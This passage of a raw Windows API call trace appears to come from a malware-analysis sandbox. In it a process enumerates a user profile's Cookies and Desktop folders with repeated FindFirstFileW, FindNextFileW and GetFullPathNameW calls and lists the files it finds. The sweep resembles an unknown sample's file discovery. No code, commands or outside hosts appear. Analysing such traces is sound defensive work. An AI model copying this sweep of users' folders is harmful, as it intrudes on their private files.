ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0080.221] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.221] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0080.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\", lpFilePart=0x0) returned 0x26 [0080.223] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.226] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd8c750, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0x9dd8c750, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0080.226] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0080.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0080.228] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd8c750, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0x9dd8c750, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.229] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd8c750, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0x9dd8c750, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.229] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529c0350, ftCreationTime.dwHighDateTime=0x1d5e4d9, ftLastAccessTime.dwLowDateTime=0x7eb233c0, ftLastAccessTime.dwHighDateTime=0x1d5da7e, ftLastWriteTime.dwLowDateTime=0x7eb233c0, ftLastWriteTime.dwHighDateTime=0x1d5da7e, nFileSizeHigh=0x0, nFileSizeLow=0xc8d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="-I1 WKZgUXJY_W46b.csv", cAlternateFileName="-I1WKZ~1.CSV")) returned 1 [0080.229] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdf1540, ftCreationTime.dwHighDateTime=0x1d5df98, ftLastAccessTime.dwLowDateTime=0xfc7c3260, ftLastAccessTime.dwHighDateTime=0x1d5e816, ftLastWriteTime.dwLowDateTime=0xfc7c3260, ftLastWriteTime.dwHighDateTime=0x1d5e816, nFileSizeHigh=0x0, nFileSizeLow=0x8647, dwReserved0=0x0, dwReserved1=0x0, cFileName="08ScPz.gif", cAlternateFileName="")) returned 1 [0080.229] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc062ac00, ftCreationTime.dwHighDateTime=0x1d5dba0, ftLastAccessTime.dwLowDateTime=0xe36a8530, ftLastAccessTime.dwHighDateTime=0x1d5dce8, ftLastWriteTime.dwLowDateTime=0xe36a8530, ftLastWriteTime.dwHighDateTime=0x1d5dce8, nFileSizeHigh=0x0, nFileSizeLow=0x18ace, dwReserved0=0x0, dwReserved1=0x0, cFileName="2khV_cpWll0.swf", cAlternateFileName="2KHV_C~1.SWF")) returned 1 [0080.229] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd79158d0, ftCreationTime.dwHighDateTime=0x1d5dacf, ftLastAccessTime.dwLowDateTime=0xa0072750, ftLastAccessTime.dwHighDateTime=0x1d5e21d, ftLastWriteTime.dwLowDateTime=0xa0072750, ftLastWriteTime.dwHighDateTime=0x1d5e21d, nFileSizeHigh=0x0, nFileSizeLow=0x16bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="2qdClxTecehN.bmp", cAlternateFileName="2QDCLX~1.BMP")) returned 1 [0080.230] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed61f190, ftCreationTime.dwHighDateTime=0x1d5d914, ftLastAccessTime.dwLowDateTime=0x1e4bf670, ftLastAccessTime.dwHighDateTime=0x1d5e64e, ftLastWriteTime.dwLowDateTime=0x1e4bf670, ftLastWriteTime.dwHighDateTime=0x1d5e64e, nFileSizeHigh=0x0, nFileSizeLow=0x10ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="3llldBCsrEcFD6R k.swf", cAlternateFileName="3LLLDB~1.SWF")) returned 1 [0080.230] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9632f1b0, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0xafef1d20, ftLastAccessTime.dwHighDateTime=0x1d5e552, ftLastWriteTime.dwLowDateTime=0xafef1d20, ftLastWriteTime.dwHighDateTime=0x1d5e552, nFileSizeHigh=0x0, nFileSizeLow=0x65b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="86l0TMBBc.bmp", cAlternateFileName="86L0TM~1.BMP")) returned 1 [0080.230] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca2cbcd0, ftCreationTime.dwHighDateTime=0x1d5df8d, ftLastAccessTime.dwLowDateTime=0x621ec230, ftLastAccessTime.dwHighDateTime=0x1d5d8b9, ftLastWriteTime.dwLowDateTime=0x621ec230, ftLastWriteTime.dwHighDateTime=0x1d5d8b9, nFileSizeHigh=0x0, nFileSizeLow=0xd3da, dwReserved0=0x0, dwReserved1=0x0, cFileName="8XdpR9K.mp3", cAlternateFileName="")) returned 1 [0080.230] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f55e80, ftCreationTime.dwHighDateTime=0x1d5e7aa, ftLastAccessTime.dwLowDateTime=0x49a704c0, ftLastAccessTime.dwHighDateTime=0x1d5db65, ftLastWriteTime.dwLowDateTime=0x49a704c0, ftLastWriteTime.dwHighDateTime=0x1d5db65, nFileSizeHigh=0x0, nFileSizeLow=0x167e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlEKt3WDH5aQZ9OqJX_S.m4a", cAlternateFileName="ALEKT3~1.M4A")) returned 1 [0080.231] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ace2dc0, ftCreationTime.dwHighDateTime=0x1d5e810, ftLastAccessTime.dwLowDateTime=0x28235300, ftLastAccessTime.dwHighDateTime=0x1d5e630, ftLastWriteTime.dwLowDateTime=0x28235300, ftLastWriteTime.dwHighDateTime=0x1d5e630, nFileSizeHigh=0x0, nFileSizeLow=0x8019, dwReserved0=0x0, dwReserved1=0x0, cFileName="bhZb0YM923vueflfafIW.flv", cAlternateFileName="BHZB0Y~1.FLV")) returned 1 [0080.231] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b254580, ftCreationTime.dwHighDateTime=0x1d5d894, ftLastAccessTime.dwLowDateTime=0x1d4d4330, ftLastAccessTime.dwHighDateTime=0x1d5de8f, ftLastWriteTime.dwLowDateTime=0x1d4d4330, ftLastWriteTime.dwHighDateTime=0x1d5de8f, nFileSizeHigh=0x0, nFileSizeLow=0x52a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BkTI-dmgsKp8uVqJf.odp", cAlternateFileName="BKTI-D~1.ODP")) returned 1 [0080.231] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.231] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a9eaa40, ftCreationTime.dwHighDateTime=0x1d5e77d, ftLastAccessTime.dwLowDateTime=0xc4ba9650, ftLastAccessTime.dwHighDateTime=0x1d5e1f4, ftLastWriteTime.dwLowDateTime=0xc4ba9650, ftLastWriteTime.dwHighDateTime=0x1d5e1f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="efCsb", cAlternateFileName="")) returned 1 [0080.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0080.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) 